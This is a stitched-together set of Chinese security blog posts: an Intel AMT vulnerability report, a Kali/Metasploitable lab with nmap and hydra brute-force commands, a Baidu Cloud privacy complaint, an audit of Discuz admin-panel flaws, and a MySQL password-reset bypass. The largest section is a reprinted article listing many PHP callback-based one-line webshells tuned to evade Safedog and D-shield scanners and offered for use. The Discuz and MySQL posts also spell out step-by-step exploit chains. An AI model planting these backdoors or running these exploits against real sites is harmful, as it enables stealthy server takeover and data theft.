第四代Core系列:9.1.41.3024和9.5.61.3012
第五代Core系列:10.0.55.3000
第六代Core系列:11.0.25.3001
第七代Core系列:11.6.27.3264
AMT是什么?
AMT是一款可通过设备的有线以太网接口网络端口16992访问的带外管理工具:它将系统的完全控制暴露到网络,允许IT人员和其它系统管理员远程重启、修复并轻微调整服务器和工作站。它能够提供一个虚拟串行控制台和(如果安装的是正确的驱动)远程桌面访问权限。
在获取权限之前应该要求提供密码,但是上述提到的漏洞意味着攻击者能够入侵硬件的控制面板。即使已经为系统的AMT访问权限设置了防火墙,但在用户网络上的攻击者或恶意软件仍然能够利用这个漏洞进入AMT管理的工作站和服务器并进一步攻陷企业。
AMT是一款运行在因特尔管理引擎(ME)上的软件,它是一种被因特尔以各种方式在十多年嵌入其芯片集中的技术。它从本质上讲是计算机中的第二个计算机,能够完全访问网络、周边、内存、存储和处理器。有意思的是,这个引擎是ARC CPU core驱动的,后者有16位和32位混合架构而且跟用于Super Nintendo游戏如Star Fox 的Super FX芯片紧密相关。
因特尔ME的详情在过去几年中也有被欺骗的案例。Arc core运行在来自SPI闪存的ThreadX RTOS。它能直接访问以太网控制器。目前它被内置在Platform Controller Hub中,后者是一个因特尔迷你芯片,包含多种硬件控制器并跟母板上的主要处理器连接在一起。
ME是因特尔不愿谈论过多的黑匣子,尽管Chipzilla网站上对此由部分介绍。它会让人们担忧隐私和安全:没有人很透彻地了解这个引擎到底是干什么的,是否被真正禁用了。
在一些因特尔芯片家族中,可通过擦除母板闪存的部分内容来杀死ME。
多年来,工程师和信息安全专家都在告警称,由于所有的代码都存在漏洞,因特尔AMT软件中至少存在一个可被远程利用的漏洞,而ME正在运行它,因此必须找到一种解决方案:买一台根本没有AMT的芯片集,而不是仅仅禁用或断开连接。
找到这个漏洞就像是从微软Windows或Red Hat企业版Linux中找到一个硬连线的、无法删除的、且远程可访问的管理员账户,而用户名和密码是“hackme”。除了这个因特尔缺陷存在于芯片集中、用户无法处理之外,必须等待计算机厂商推出补丁。
Kali渗透测试演练Metasploitable靶机(附详细word文档+乌云_vmware_201606) Linux
Kali渗透测试演练Metasploitable靶机
准备工作:
l VM虚拟机(http://www.vmware.com/cn.html)
l Kali(https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/)
l Metasploitable靶机(https://sourceforge.net/projects/metasploitable/)
l 要求Kali和靶机在同一个Lan段
在开始工作前都确认一一下是否在同一个Lan段,分别登录Kali和靶机使用ifconfig 命令查看
注意:Metasploitable的默认账号、密码是:msfadmin:msfadmin,Kali的默认是root:toor
命令:隐蔽扫描:nmap -sS 192.168.209.138
端口爆破:FTP、SSH等
工具:Hydra
备用字典:
l 爆破FTP
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt ftp://192.168.209.138
l 爆破ssh
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.209.138 ssh
通过23端口telnet登录进系统
图片过多,我就不一一上传了,都在文档里面,主要包括以下的测试列表,初学者可以测试体验:
- 端口爆破:FTP、SSH等
- 利用metasploit进行端口渗透等
- 8180——-Apache Tomcat弱口令等
百度云这是变相的泄漏了用户隐私么? 业界新闻
手机安装过百度云的应该知道,安装完百度云后,首次打开百度云会自动把照片备份选择上,如果你没注意,直接就下一步了的话,就有点泄漏你的照片的危险,通过Google搜索,"site:yun.baidu.com 来自:iPhone" 会搜索出很多的手机照片:
博主初略的搜索了一下,来自iPhone 的结果有两千多。。。而且随便从这些照片中就找到了很多私人信息啊,比如:
寝室帅哥的销魂照:
你的火车票,姓名,身份证号码,身份证自拍照,银行卡,家人照片,手机录制的视屏 等等(当然 全部打码 -_- ||我是好孩子):
很容易的有意识的社工你,你的什么账号密码,或者是被冒用,被拿去实名注册等等,数不胜数啊,当然损失的就是这些百度云用户了,
博主提醒各位啊,在这个大数据时代,能不留网上的信息最好别留网上,因为谁也不知道那一天你用的服商会不会被黑,数据泄漏,谁也不敢打包票说不泄漏啊。。。最好的就是特别重要的还是自己放在本地,如果实在需要放在网盘等等,请加密压缩后在放上去,这样相对来说安全些,即使别人拿到了,也需要解密,对一般人来说就拜拜了,但是对于一些专业人士/团伙来说,密码太简单和没有没啥区别,挂上几百G的彩虹表,挖不了几天就出来了。。。要设置密码就把密码强度设置大点,包括大小写,数字特殊符号等都包括,而且长度最好是达到软件所能达到的最大长度,密码强度足够强大的情况下,理论上是可以被破解的,但是时间会长很多,几乎等于零(至少目前是,不知道以后会不会有什么新技术,可以破)。哎呀,不知不觉就说了这么多,只是希望在这个互联网大染缸里活动,时刻都要小心啊。人心太复杂,社会其实很简单。
大家也可以看看这几篇文章,或许会对你有帮助:
google黑客使用方法,让你见识不一样的世界
从12306信息泄露了解何为黑客撞库拖库洗库
江湖险恶 如何设置安全又方便的个人密码
【转自TSRC】浅谈开源web程序后台的安全性 网络安全
前言
不知怎的最近甚是思念校园生活,思念食堂的炒饭。那时会去各种安全bbs上刷刷帖子,喜欢看别人写的一些关于安全技巧或经验的总结;那时BBS上很多文章
标题都是:成功渗透XXX,成功拿下XXX。这里便以一篇入侵菲律宾某大学的文章引出文章的主题,我们先简要看一下过程。大学网站使用了名为joomla 的开源web程序,(1)青年使用一个joomla已经公开的漏洞进入web后台(2)青年使用joomla后台上传限制不严的缺陷上传了一个 webshell(3)控制主机赠送我国国旗。
原来入侵一台主机如此容易,管理员果断给web程序打上安全补丁。管理员的工作是结束了,作为安全从业人员再一想是不是joomla后台这里可以上
传webshell是不是有问题呢,如果joomla后台不能上传webshell,是不是可以减少入侵的可能和损失。下面进入本文的主题:web后台程
序的安全性。
二、简介
国内很多站点都是基于开源论坛、cms搭建的,比如discuz、phpwind、dedecms等。这些程序都是国内开源web程序中的佼佼者, 也比较注重安全性。平时大家关注比较多的是sql注入、xss这些可以直接窃取用户数据的漏洞。网上因为弱口令被入侵的案例数不胜数,此外用户数据泄漏事 件时而发生,单纯靠密码防护的后台被突破,被社工的可能性越来越大。获取一个管理后台密码后,再结合后台程序的任意代码执行、文件包含或命令注入等漏洞得
到一个shell,窃取用户资料不是什么难事。此时后台程序的安全性成为一个短板。
Discuz是一款流行的论坛程序,笔者这里就以它的后台程序为例简单分析一下其安全性,下面直接看一些漏洞案例(Discuz最新版本已打补丁,请用户及时升级到最新版-Discuz! X3.1 R20140101)。
三、案例分析
Tips:下文提到的$settingnew是discuz后台存储表单数据的变量,后台用户可控。
案例一:用户输入数据过滤逻辑不当
漏洞文件:X3\source\admincp\admincp_setting.php
分析:
01 |
<code id="code0">// 1、alice修改$settingnew['extcredits']非数组 |
|
02 |
if(is_array($settingnew['extcredits'])) { |
03 |
foreach($settingnew['extcredits'] as $key => $value) { |
|
04 |
// 2、给$settingnew['initcredits'][1]传入phpinfo();,非数组绕过intval转换 |
05 |
$settingnew['initcredits'][$i] = intval($settingnew['initcredits'][$i]); |
|
06 |
... 省略 ... |
07 |
for($i = 1; $i <= 8; $i++) { |
|
08 |
// 3、 phpinfo();被赋值给$initformula |
09 |
$initformula = str_replace('extcredits'.$i, $settingnew['initcredits'][$i], $initformula); |
|
10 |
} |
11 |
// 4、phpinfo()带入eval执行 |
|
12 |
eval("\$_G['setting']['initcredits'] = round($initformula);");</code> |
案例二:二次注入
简单介绍一下二次注入,恶意用户alice在A处传入恶意数据并被存储到数据库,在A处不直接导致安全问题;B处引用到A处存储的数据,从而触发安全问题。
漏洞文件:X3\source\admincp\admincp_setting.php
分析:
1 |
// 1、alice上传一个图片木马假设为1.gif; alice设置$settingnew['seccodedata']['type']值为1.gif\0:xx(根据图片地址做适当目录跳转);该值未作任何过滤存入数据库 |
2 |
if($settingnew['seccodedata']['type'] == 0 || $settingnew['seccodedata']['type'] == 2) { |
3 |
$seccoderoot = 'static/image/seccode/font/en/'; |
|
4 |
} elseif($settingnew['seccodedata']['type'] == 1) { |
5 |
$seccoderoot = 'static/image/seccode/font/ch/'; |
|
6 |
}漏洞文件:source\module\misc\misc_seccode.php |
01 |
// 2、$_G['setting']['seccodedata']['type']值来自于数据库,即为1处传入的1.gif\0:xx |
|
02 |
if(!is_numeric($_G['setting']['seccodedata']['type'])) { |
03 |
$etype = explode(':', $_G['setting']['seccodedata']['type']); |
|
04 |
if(count($etype) > 1) { |
05 |
// 3、 \0截断得到$codefile为图片小马(也可使用././././多个路径符方法截断) |
|
06 |
$codefile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/seccode/seccode_'.$etype[1].'.php'; |
|
|
07 |
... 省略 ... |
|
08 |
if(file_exists($codefile)) { |
09 |
// 4、图片木马被include得到webshell |
|
10 |
@include_once $codefile; |
案例三:程序升级新增逻辑导致的漏洞
漏洞文件:X3\source\admincp\admincp_adv.php
01 |
// 1、alice上传一个图片木马假设为1.gif; alice传入type参数值为1.gif\0:xx(根据图片地址做适当目录跳转) |
|
02 |
$type = $_GET['type']; |
03 |
... ... |
|
04 |
if($type) { |
05 |
//2、得到$etype为1.gif\0 |
|
06 |
$etype = explode(':', $type); |
07 |
if(count($etype) > 1) { |
|
08 |
//3、$advfile值被\0截断,为图片木马路径1.gif |
09 |
$advfile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/adv/adv_'.$etype[1].'.php'; |
||
10 |
$advclass = 'adv_'.$etype[1]; |
||
|
11 |
} |
|
12 |
... 省略 ... |
13 |
//4、包含图片木马,得到webshell |
|
14 |
if(file_exists($advfile)) { |
15 |
require_once $advfile; |
对比下X2.5版本的逻辑,此处漏洞完全是因为新增代码导致的。
1 |
$type = $_GET['type']; |
|
2 |
$target = $_GET['target']; |
3 |
$typeadd = ''; |
|
4 |
if($type) { |
5 |
$advfile = libfile('adv/'.$type, 'class'); |
|
6 |
if(file_exists($advfile)) { |
7 |
require_once $advfile; |
案例四:漏洞修补不完善
漏洞文件:X3\api\uc.php
分析:
01 |
//1、config_ucenter.php内容部分截取如下:define('UC_API', 'http://localhost/bbs/uc_server'); |
02 |
$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php')); |
03 |
... ... |
|
04 |
//2、$UC_AP外部可控,alice传入$UC_API的值为xyz');eval($_POST[cmd];得到$configfile值为define('UC_API', 'xyz\');eval($_POST[cmd];'); xyz后面的引号被转义。 |
05 |
$configfile=preg_replace("/define\('UC_API',\s*'.*?'\);/i","define('UC_API','".addslashes($UC_API)."');", $configfile); |
||
06 |
//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件 |
||
|
07 |
if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) { |
|
08 |
@fwrite($fp, trim($configfile)); |
09 |
@fclose($fp); |
|
10 |
} |
11 |
//4、 alice再次传入$UC_API的值为xyz,preg_replace使用的正则表达式是define\('UC_API',\s*'.*?'\); .*?'非贪婪匹配,匹配到第一个引号结束,之前的转义符被替换xyz\替换为xyz,从而得到$configfile值为 define('UC_API', 'xyz');eval($_POST[cmd];');写入配置文件得到webshell。 |
这个问题早在2010年外部已经公开,官方已及时发出补丁
详情请参考:http://www.oldjun.com/blog/index.php/archives/76/
四、总结
上面这些例子主要是笔者实践经验的一些总结,不一定全面,希望能给大家拓展一些思路;比如上述提到的二次注
入,$settingnew['seccodedata']['type']这个变量没过滤,$settingnew的其他数组也可能没过滤,也确实存在 多处类似的问题,大家可以自行去尝试一下。关于代码审计的方法主要有两个大方向:(1)危险函数向上追踪输入;(2)追踪用户输入是否进入危险函数;这里 的危险函数关于危险函数主要包括代码执行相关:eval、assert,文件包含:include、require等,命令执行:system、exec 等,写文件:fwrite、file_put_contents等;
代码审计的方法这里推荐两篇文章:
https://code.google.com/p/pasc2at/wiki/SimplifiedChinese
http://wenku.baidu.com/view/c85be95a3b3567ec102d8a12.html
五、反思
1、一切输入都是有害的;
后台程序的用户输入相比前台主要增加了后台表单的数据,此外有些后台支持上传文件(如dz1.5的自定义sql),上传文件的内容也属于输入;这些输入都属于用户范围。一定要做严格的控制和过滤。
2、安全意识;
其实很多漏洞的产生并不是技术问题导致的,而是我们缺乏安全意识,不重视安全而酿成的惨剧。尤其是第三个和第四个,完全不应该发生;需要对开发人员做安全宣导和基本的安全培训。
3、漏洞Review;
(1)开发人员收到漏洞后要对漏洞产生的原因做总结,并Review代码中是否有类似的问题。有些时候开发人员仅仅是修补了安全人员或白帽子提供的漏洞
点,另外一处代码有类似的问题没修补继续爆出漏洞,无穷无尽。这样做还会带来更大的隐患,黑客是非常乐意并擅长总结反思的,每一个补丁其实也是给黑客拓展 了思路,如果修补不完全后果很严重。
(2)开发人员修补完成后安全人员需要进行测试确认,上述的案例四就是鲜明的例子。有条件的情况下安全人员应该整理一些常见漏洞修复指引,这样也可以提高工作效率。
创造tips的秘籍——PHP回调后门(转载) 渗透测试
最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET'func'之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。
那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。
有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。
一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:
有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?
根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论: php中包含回调函数参数的函数,具有做后门的潜质。
我就自己给这类webshell起了个名字:回调后门。
0x01 回调后门的老祖宗
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:
call_user_func('assert', $_REQUEST['pass']);
assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。
这个后门,狗和盾都可以查到(但是狗不会拦截):
可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:
call_userfuncarray('assert', array($_REQUEST['pass']));
call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:
可见,虽然狗不杀了,D盾还是聪明地识别了出来。
看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。
0x02 数组操作造成的单参数回调后门
进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。 我最早想到个最“简单好用的”:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):
这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):
类似array_filter,array_map也有同样功效:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
依旧被D盾查杀。
果然,简单的数组回调后门,还是很容易被发现与查杀的。
0x03 php5.4.8+中的assert
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
比如如下回调后门:
$e = $_REQUEST['e'];
$arr = array('estt', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
这个后门在php5.3时会报错,提示assert只能有一个参数:
php版本改作5.4后就可以执行了:
这个后门,狗和盾是都查不出来的:
同样的道理,这个也是功能类似:
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
<a href="http://yidianzixun.com/m/channel/keyword/uksort" ,="" style="border: none; text-decoration: none; outline: none; font-size: 16px; color: rgb(50, 97, 163); line-height: 27.2000007629395px; font-family: Oxygen, Arial, 'Hiragino Sans GB ', 'Microsoft YaHei', 微软雅黑, STHeiti, 'WenQuanYi Micro Hei', SimSun, sans-serif; text-align: justify; white-space: normal; background-color: rgb(246, 246, 246);">uksort($arr, $e);
再给出这两个函数,面向对象的方法:
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
再来两个类似的回调后门:
$e = $_REQUEST['e'];
$arr = array(1);
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)
0x04 三参数回调函数
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:
php中,可以执行代码的函数:
1. 一个参数:assert
2. 两个参数:assert (php5.4.8+)
3. 三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
如图,这个后门可以在5.3下使用:
但强大的D盾还是有警觉(虽然只是等级2):
不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
不截图了。
看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
另一个:
e<a href="http://yidianzixun.com/m/channel/keyword/echo" ,="">cho preg_filter('|.*|e', $_REQUEST['pass'], '');
这两个一句话都是不杀的:
好用的一句话,且用且珍惜呀。
0x05 无回显回调后门
回调后门里,有个特殊的例子:ob_start。
ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush;
但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:
即使没输出,实际代码是执行了的。也算作回调后门的一种。
0x06 单参数后门终极奥义
preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。 这里给出几个好用不杀的回调后门
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
这个是php全版本支持的,且不报不杀稳定执行:
再来一个:
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
再来两个:
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。
这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.
0x07 数据库操作与第三方库中的回调后门
回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。
我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
执行之:
上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute;
前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。
这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。 比如php_yaml:
$str = urlencode($_REQUEST['pass']);
$yaml =
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
还有php_memcached:
$mem = new Memcache;
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
自行研究吧。
0x08 其他参数型回调后门
上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?
举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。
preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。
所以我们需要去“构造”一个满足条件的回调函数。
怎么构造?使用create_function:
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。
这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。 类似的,这个也同样:
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
再来一个利用CallbackFilterIterator方法的回调后门:
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
echo $item;
}
这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。
0x09 后记
这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。
实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。
简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞。
MySQL中的一个有趣的逻辑漏洞 渗透测试
遇到MySQL中的一个有趣的逻辑漏洞,给大家分享一下.
某系统数据库是mysql。user表有个code字段,类型是int(11),这个字段是保存一个随机数,用来找回密码的时候做验证,默认值是0。
找回密码时候的步骤是,首先填写自己邮箱,接收重置密码的邮件,点击链接,访问如下代码:
if (!empty($_GET['email']) && !empty($_GET['code'])) { if (!$db->count('user',"email='{$_GET['email']}' AND code='{$_GET['code']}'")) die('error'); $_SESSION['email'] = $_GET['email']; ... }
在数据库中查找email=$_GET['email']并且code=$_GET['code']的行数,如果行数为0则die出去,否则设置$_SESSION['email'] = $_GET['email'];
最后就以$_SESSION['email']内存储的邮箱重置密码。
看似似乎没问题,只有当email为你的email,并且你知道他的随机code的时候,才能不die,才能获得$_SESSION['email']。
但关键问题就是:code的默认值是0,也就是说所有用户只要没有重置过密码,他的code就是0,所以等于说我知道了所有用户的code,那我不就可以重置所有用户的密码了吗?
不不,等下,我们看到这行代码:
if (!empty($_GET['email']) && !empty($_GET['code']))
必须要!empty($_GET['code'])的时候,才可能进入这个if语句。熟悉php的人都知道,empty(0)是返回真的。所以说,如果$_GET['code']=0的话,根本进不来这个if语句。
那怎么办?
我 之前说了,code这个字段的类型是整型int(11)。而在mysql里面,当字段类型为整型,而where语句中的值不为整型的时候,会被转换成整型 才放入查询。也就是说,如果where code='xxx',xxx不为整型的话,则会先将xxx转换成整数,才放入查询。
也就是说,如果我们传入的字符串为0aaa,则会转换成0,再执行。
我们可以来做个试验,
上图大家可以看到,select count(*) from `user` where `id`='0a';和select count(*) from `user` where `id`='0';得到的结果都是1。
所 以通过这个tip,就可以绕过if (!empty($_GET['email']) && !empty($_GET['code'])),只要我们传入的$_GET['code']=0xxx,就可以进入if语句,并且让select count(*)语句返回1,最后找回任意用户密码,不需要爆破。
注:本文属于Mrxn网络转载,原地址:https://www.leavesongs.com/PENETRATION/findpwd-funny-logic-vul.html